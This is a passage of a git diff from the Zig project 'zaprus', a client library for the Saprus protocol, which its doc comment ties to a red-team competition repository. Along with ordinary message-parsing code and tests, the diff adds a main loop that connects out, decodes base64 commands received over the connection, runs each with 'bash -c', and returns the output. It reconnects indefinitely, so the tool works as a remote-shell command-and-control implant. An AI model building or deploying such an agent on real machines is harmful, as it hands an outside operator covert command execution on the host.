.{chunk}); + try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest)); + try init.io.sleep(.fromMilliseconds(40), .boot); + } + } else { + var stdin_file: std.Io.File = .stdin(); + var stdin_file_reader = stdin_file.reader(init.io, &.{}); + var stdin_reader = &stdin_file_reader.interface; + var lim_buf: [SaprusClient.max_payload_len]u8 = undefined; + var limited = stdin_reader.limited(.limited(10 * lim_buf.len), &lim_buf); + var stdin = &limited.interface; + + while (stdin.fillMore()) { + // Sometimes fillMore will return 0 bytes. + // Skip these + if (stdin.seek == stdin.end) continue; + + chunk_writer.end = 0; + try chunk_writer.print("{b64}", .{stdin.buffered()}); + try client.sendRelay(init.io, chunk_writer.buffered(), parseDest(flags.dest)); + try init.io.sleep(.fromMilliseconds(40), .boot); + try stdin.discardAll(stdin.end); + } else |err| switch (err) { + error.EndOfStream => { + log.debug("end of stdin", .{}); + }, + else => |e| return e, + } } - - // Collect the growable list as a slice and return it. - return buf.toOwnedSlice(); - } - - inline fn fromBytesAux( - packet: SaprusPacketType, - Header: type, - r: std.io.FixedBufferStream([]const u8).Reader, - allocator: Allocator, - ) !SaprusMessage { - // Read the header for the current message type. - const header = try r.readStructEndian(Header, .big); - // Read the length of the base64 encoded payload. - const len = try r.readInt(u16, .big); - - // Read the base64 bytes into a list to be able to call the decoder on it. - var payload_buf = std.ArrayList(u8).init(allocator); - defer payload_buf.deinit(); - try r.readAllArrayList(&payload_buf, len); - - // Create a buffer to store the payload in, and decode the base64 bytes into the payload field. - const payload = try allocator.alloc(u8, try base64Dec.calcSizeForSlice(payload_buf.items)); - try base64Dec.decode(payload, payload_buf.items); - - // Return the type of SaprusMessage specified by the `packet` argument. - return @unionInit(SaprusMessage, @tagName(packet), .{ - .header = header, - .payload = payload, - }); + return; } - /// Caller is responsible for calling .deinit on the returned value. - fn fromBytes(bytes: []const u8, allocator: Allocator) !SaprusMessage { - var s = std.io.fixedBufferStream(bytes); - const r = s.reader(); - - switch (@as(SaprusPacketType, @enumFromInt(try r.readInt(u16, .big)))) { - .relay => return fromBytesAux(.relay, Relay.Header, r, allocator), - .connection => return fromBytesAux(.connection, Connection.Header, r, allocator), - .file_transfer => return SaprusError.NotImplementedSaprusType, - else => return SaprusError.UnknownSaprusType, + var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined; + var w: Writer = .fixed(&init_con_buf); + try w.print("{b64}", .{flags.connect.?}); + + if (flags.connect != null) { + reconnect: while (true) { + client = SaprusClient.init() catch |err| switch (err) { + error.NoInterfaceFound => { + try init.io.sleep(.fromMilliseconds(100), .boot); + continue :reconnect; + }, + else => |e| return e, + }; + defer client.deinit(); + log.debug("Starting connection", .{}); + + try client.socket.setTimeout(if (is_debug) 3 else 25, 0); + var connection = client.connect(init.io, w.buffered()) catch { + log.debug("Connection timed out", .{}); + continue; + }; + + log.debug("Connection started", .{}); + + next_message: while (true) { + var res_buf: [2048]u8 = undefined; + try client.socket.setTimeout(if (is_debug) 60 else 600, 0); + const next = connection.next(init.io, &res_buf) catch { + continue :reconnect; + }; + + const b64d = std.base64.standard.Decoder; + var connection_payload_buf: [2048]u8 = undefined; + const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)]; + b64d.decode(connection_payload, next) catch { + log.debug("Failed to decode message, skipping: '{s}'", .{connection_payload}); + continue; + }; + + var child = std.process.spawn(init.io, .{ + .argv = &.{ "bash", "-c", connection_payload }, + .stdout = .pipe, + .stderr = .ignore, + .stdin = .ignore, + }) catch |err| switch (err) { + error.AccessDenied, + error.FileBusy, + error.FileNotFound, + error.FileSystem, + error.InvalidExe, + error.IsDir, + error.NotDir, + error.OutOfMemory, + error.PermissionDenied, + error.SymLinkLoop, + error.SystemResources, + => blk: { + log.debug("Trying to execute command directly: {s}", .{connection_payload}); + var argv_buf: [128][]const u8 = undefined; + var argv: ArrayList([]const u8) = .initBuffer(&argv_buf); + var payload_iter = std.mem.splitAny(u8, connection_payload, " \t\n"); + while (payload_iter.next()) |arg| argv.appendBounded(arg) catch continue; + break :blk std.process.spawn(init.io, .{ + .argv = argv.items, + .stdout = .pipe, + .stderr = .ignore, + .stdin = .ignore, + }) catch continue; + }, + error.Canceled, + error.NoDevice, + error.OperationUnsupported, + => |e| return e, + else => continue, + }; + + var child_output_buf: [SaprusClient.max_payload_len]u8 = undefined; + var child_output_reader = child.stdout.?.reader(init.io, &child_output_buf); + + var is_killed: std.atomic.Value(bool) = .init(false); + + var kill_task = try init.io.concurrent(killProcessAfter, .{ init.io, &child, .fromSeconds(3), &is_killed }); + defer _ = kill_task.cancel(init.io) catch {}; + + var cmd_output_buf: [SaprusClient.max_payload_len * 2]u8 = undefined; + var cmd_output: Writer = .fixed(&cmd_output_buf); + + // Maximum of 10 messages of output per command + for (0..10) |_| { + cmd_output.end = 0; + + child_output_reader.interface.fill(child_output_reader.interface.buffer.len) catch |err| switch (err) { + error.ReadFailed => continue :next_message, // TODO: check if there is a better way to handle this + error.EndOfStream => { + cmd_output.print("{b64}", .{child_output_reader.interface.buffered()}) catch unreachable; + if (cmd_output.end > 0) { + connection.send(init.io, .{}, cmd_output.buffered()) catch |e| { + log.debug("Failed to send connection chunk: {t}", .{e}); + continue :next_message; + }; + } + break; + }, + }; + cmd_output.print("{b64}", .{try child_output_reader.interface.takeArray(child_output_buf.len)}) catch unreachable; + connection.send(init.io, .{}, cmd_output.buffered()) catch |err| { + log.debug("Failed to send connection chunk: {t}", .{err}); + continue :next_message; + }; + try init.io.sleep(.fromMilliseconds(40), .boot); + } else { + kill_task.cancel(init.io) catch {}; + killProcessAfter(init.io, &child, .zero, &is_killed) catch |err| { + log.debug("Failed to kill process??? {t}", .{err}); + continue :next_message; + }; + } + + if (!is_killed.load(.monotonic)) { + _ = child.wait(init.io) catch |err| { + log.debug("Failed to wait for child: {t}", .{err}); + }; + } + } } } -}; - -pub fn main() !void { - var dba: ?DebugAllocator = if (comptime is_debug) DebugAllocator.init else null; - defer if (dba) |*d| { - _ = d.deinit(); - }; - - var gpa = if (dba) |*d| d.allocator() else std.heap.smp_allocator; - - const msg = SaprusMessage{ - .relay = .{ - .header = .{ .dest = .{ 255, 255, 255, 255 } }, - .payload = "Hello darkness my old friend", - }, - }; - - const msg_bytes = try msg.toBytes(gpa); - defer gpa.free(msg_bytes); - - try network.init(); - defer network.deinit(); - - var sock = try network.Socket.create(.ipv4, .udp); - defer sock.close(); - try sock.setBroadcast(true); - - // Bind to 0.0.0.0:0 - const bind_addr = network.EndPoint{ - .address = network.Address{ .ipv4 = network.Address.IPv4.any }, - .port = 0, - }; + unreachable; +} - const dest_addr = network.EndPoint{ - .address = network.Address{ .ipv4 = network.Address.IPv4.broadcast }, - .port = 8888, +fn killProcessAfter(io: std.Io, proc: *std.process.Child, duration: std.Io.Duration, is_killed: *std.atomic.Value(bool)) !void { + io.sleep(duration, .boot) catch |err| switch (err) { + error.Canceled => return, + else => |e| return e, }; + is_killed.store(true, .monotonic); + proc.kill(io); +} - try sock.bind(bind_addr); +fn parseDest(in: ?[]const u8) [4]u8 { + if (in) |dest| { + if (dest.len <= 4) { + var res: [4]u8 = @splat(0); + @memcpy(res[0..dest.len], dest); + return res; + } - _ = try sock.sendTo(dest_addr, msg_bytes); + const addr = std.Io.net.Ip4Address.parse(dest, 0) catch return "FAIL".*; + return addr.bytes; + } + return "disc".*; } const builtin = @import("builtin"); const std = @import("std"); -const Allocator = std.mem.Allocator; -const DebugAllocator = std.heap.DebugAllocator(.{}); - -const network = @import("network"); - -test "Round trip Relay toBytes and fromBytes" { - const gpa = std.testing.allocator; - const msg = SaprusMessage{ - .relay = .{ - .header = .{ .dest = .{ 255, 255, 255, 255 } }, - .payload = "Hello darkness my old friend", - }, - }; - - const to_bytes = try msg.toBytes(gpa); - defer gpa.free(to_bytes); +const log = std.log; +const ArrayList = std.ArrayList; +const StaticStringMap = std.StaticStringMap; - const from_bytes = try SaprusMessage.fromBytes(to_bytes, gpa); - defer from_bytes.deinit(gpa); +const zaprus = @import("zaprus"); +const SaprusClient = zaprus.Client; +const SaprusMessage = zaprus.Message; - try std.testing.expectEqualDeep(msg, from_bytes); -} - -test "Round trip Connection toBytes and fromBytes" { - const gpa = std.testing.allocator; - const msg = SaprusMessage{ - .connection = .{ - .header = .{ - .src_port = 0, - .dest_port = 0, - }, - .payload = "Hello darkness my old friend", - }, - }; - - const to_bytes = try msg.toBytes(gpa); - defer gpa.free(to_bytes); - - const from_bytes = try SaprusMessage.fromBytes(to_bytes, gpa); - defer from_bytes.deinit(gpa); - - try std.testing.expectEqualDeep(msg, from_bytes); -} +const Writer = std.Io.Writer; diff --git a/src/message.zig b/src/message.zig new file mode 100644 index 0000000..4198737 --- /dev/null +++ b/src/message.zig @@ -0,0 +1,238 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + +pub const Message = union(enum(u16)) { + relay: Message.Relay = 0x003C, + connection: Message.Connection = 0x00E9, + _, + + pub const Relay = struct { + dest: Dest, + checksum: [2]u8 = undefined, + payload: []const u8, + + pub const Dest = struct { + bytes: [relay_dest_len]u8, + + /// Asserts bytes is less than or equal to 4 bytes + pub fn fromBytes(bytes: []const u8) Dest { + var buf: [4]u8 = @splat(0); + std.debug.assert(bytes.len <= buf.len); + @memcpy(buf[0..bytes.len], bytes); + return .{ .bytes = buf }; + } + }; + + /// Asserts that buf is large enough to fit the relay message. + pub fn toBytes(self: Relay, buf: []u8) []u8 { + var out: Writer = .fixed(buf); + out.writeInt(u16, @intFromEnum(Message.relay), .big) catch unreachable; + out.writeInt(u16, @intCast(self.payload.len + 4), .big) catch unreachable; // Length field, but unread. Will switch to checksum + out.writeAll(&self.dest.bytes) catch unreachable; + out.writeAll(self.payload) catch unreachable; + return out.buffered(); + } + + // test toBytes { + // var buf: [1024]u8 = undefined; + // const relay: Relay = .init( + // .fromBytes(&.{ 172, 18, 1, 30 }), + // // zig fmt: off + // &[_]u8{ + // 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, + // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 + // }, + // // zig fmt: on + // ); + // // zig fmt: off + // var expected = [_]u8{ + // 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, + // 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, + // 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 + // }; + // // zig fmt: on + // try expectEqualMessageBuffers(&expected, relay.toBytes(&buf)); + // } + }; + + pub const Connection = struct { + src: u16, + dest: u16, + seq: u32, + id: u32, + reserved: u8 = undefined, + options: Options = .{}, + payload: []const u8, + + /// Option values. + /// Currently used! + pub const Options = packed struct(u8) { + opt1: bool = false, + opt2: bool = false, + opt3: bool = false, + opt4: bool = false, + opt5: bool = false, + opt6: bool = false, + opt7: bool = false, + management: bool = false, + }; + + /// Asserts that buf is large enough to fit the connection message. + pub fn toBytes(self: Connection, buf: []u8) []u8 { + var out: Writer = .fixed(buf); + out.writeInt(u16, @intFromEnum(Message.connection), .big) catch unreachable; + out.writeInt(u16, @intCast(self.payload.len + 14), .big) catch unreachable; // Saprus length field, unread. + out.writeInt(u16, self.src, .big) catch unreachable; + out.writeInt(u16, self.dest, .big) catch unreachable; + out.writeInt(u32, self.seq, .big) catch unreachable; + out.writeInt(u32, self.id, .big) catch unreachable; + out.writeByte(self.reserved) catch unreachable; + out.writeStruct(self.options, .big) catch unreachable; + out.writeAll(self.payload) catch unreachable; + return out.buffered(); + } + + /// If the current message is a management message, return what kind. + /// Else return null. + pub fn management(self: Connection) ParseError!?Management { + const b64_dec = std.base64.standard.Decoder; + if (self.options.management) { + var buf: [1]u8 = undefined; + _ = b64_dec.decode(&buf, self.payload) catch return error.InvalidMessage; + + return switch (buf[0]) { + 'P' => .ping, + 'p' => .pong, + else => error.UnknownSaprusType, + }; + } + return null; + } + + pub const Management = enum { + ping, + pong, + }; + }; + + pub fn toBytes(self: Message, buf: []u8) []u8 { + return switch (self) { + inline .relay, .connection => |m| m.toBytes(buf), + else => unreachable, + }; + } + + pub fn parse(bytes: []const u8) ParseError!Message { + var in: Reader = .fixed(bytes); + const @"type" = in.takeEnum(std.meta.Tag(Message), .big) catch |err| switch (err) { + error.InvalidEnumTag => return error.UnknownSaprusType, + else => return error.InvalidMessage, + }; + const checksum = in.takeArray(2) catch return error.InvalidMessage; + switch (@"type") { + .relay => { + const dest: Relay.Dest = .fromBytes( + in.takeArray(relay_dest_len) catch return error.InvalidMessage, + ); + const payload = in.buffered(); + return .{ + .relay = .{ + .dest = dest, + .checksum = checksum.*, + .payload = payload, + }, + }; + }, + .connection => { + const src = in.takeInt(u16, .big) catch return error.InvalidMessage; + const dest = in.takeInt(u16, .big) catch return error.InvalidMessage; + const seq = in.takeInt(u32, .big) catch return error.InvalidMessage; + const id = in.takeInt(u32, .big) catch return error.InvalidMessage; + const reserved = in.takeByte() catch return error.InvalidMessage; + const options = in.takeStruct(Connection.Options, .big) catch return error.InvalidMessage; + const payload = in.buffered(); + return .{ + .connection = .{ + .src = src, + .dest = dest, + .seq = seq, + .id = id, + .reserved = reserved, + .options = options, + .payload = payload, + }, + }; + }, + else => return error.NotImplementedSaprusType, + } + } + + test parse { + _ = try parse(&[_]u8{ 0x00, 0x3c, 0x00, 0x17, 0xac, 0x12, 0x01, 0x1e, 0x72, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6e, 0x74, 0x20, 0x6c, 0x6f, 0x67, 0x67, 0x65, 0x64 }); + + { + const expected: Message = .{ + .connection = .{ + .src = 12416, + .dest = 61680, + .seq = 0, + .id = 0, + .reserved = 0, + .options = @bitCast(@as(u8, 100)), + .payload = &[_]u8{ 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }, + }, + }; + const actual = try parse(&[_]u8{ 0x00, 0xe9, 0x00, 0x18, 0x30, 0x80, 0xf0, 0xf0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x64, 0x69, 0x61, 0x6d, 0x64, 0x65, 0x66, 0x61, 0x75, 0x6c, 0x74 }); + + try std.testing.expectEqualDeep(expected, actual); + } + } + + test "Round trip" { + { + const expected = [_]u8{ 0x0, 0xe9, 0x0, 0x15, 0x30, 0x80, 0xf0, 0xf0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x64, 0x36, 0x3a, 0x3a, 0x64, 0x61, 0x74, 0x61 }; + const msg = (try parse(&expected)).connection; + var res_buf: [expected.len + 1]u8 = undefined; // + 1 to test subslice result. + const res = msg.toBytes(&res_buf); + try expectEqualMessageBuffers(&expected, res); + } + } + + // Skip checking the length / checksum, because that is undefined. + fn expectEqualMessageBuffers(expected: []const u8, actual: []const u8) !void { + try std.testing.expectEqualSlices(u8, expected[0..2], actual[0..2]); + try std.testing.expectEqualSlices(u8, expected[4..], actual[4..]); + } + + pub const TypeError = error{ + NotImplementedSaprusType, + UnknownSaprusType, + }; + pub const ParseError = TypeError || error{ + InvalidMessage, + }; +}; + +const relay_dest_len = 4; + +const std = @import("std"); +const Allocator = std.mem.Allocator; +const Writer = std.Io.Writer; +const Reader = std.Io.Reader; + +test { + std.testing.refAllDecls(@This()); +} diff --git a/src/root.zig b/src/root.zig new file mode 100644 index 0000000..2a847fc --- /dev/null +++ b/src/root.zig @@ -0,0 +1,30 @@ +// Copyright 2026 Robby Zambito +// +// This file is part of zaprus. +// +// Zaprus is free software: you can redistribute it and/or modify it under the +// terms of the GNU General Public License as published by the Free Software +// Foundation, either version 3 of the License, or (at your option) any later +// version. +// +// Zaprus is distributed in the hope that it will be useful, but WITHOUT ANY +// WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR +// A PARTICULAR PURPOSE. See the GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License along with +// Zaprus. If not, see <https://www.gnu.org/licenses/>. + +//! The Zaprus library is useful for implementing clients that interact with the [Saprus Protocol](https://gitlab.com/c2-games/red-team/saprus). +//! +//! The main entrypoint into this library is the `Client` type. +//! It can be used to send fire and forget messages, and establish persistent connections. +//! It is up to the consumer of this library to handle non-management message payloads. +//! The library handles management messages automatically (right now, just ping). + +pub const Client = @import("Client.zig"); +pub const Connection = @import("Connection.zig"); +pub const Message = @import("message.zig").Message; + +test { + @import("std").testing.refAllDecls(@This()); +} |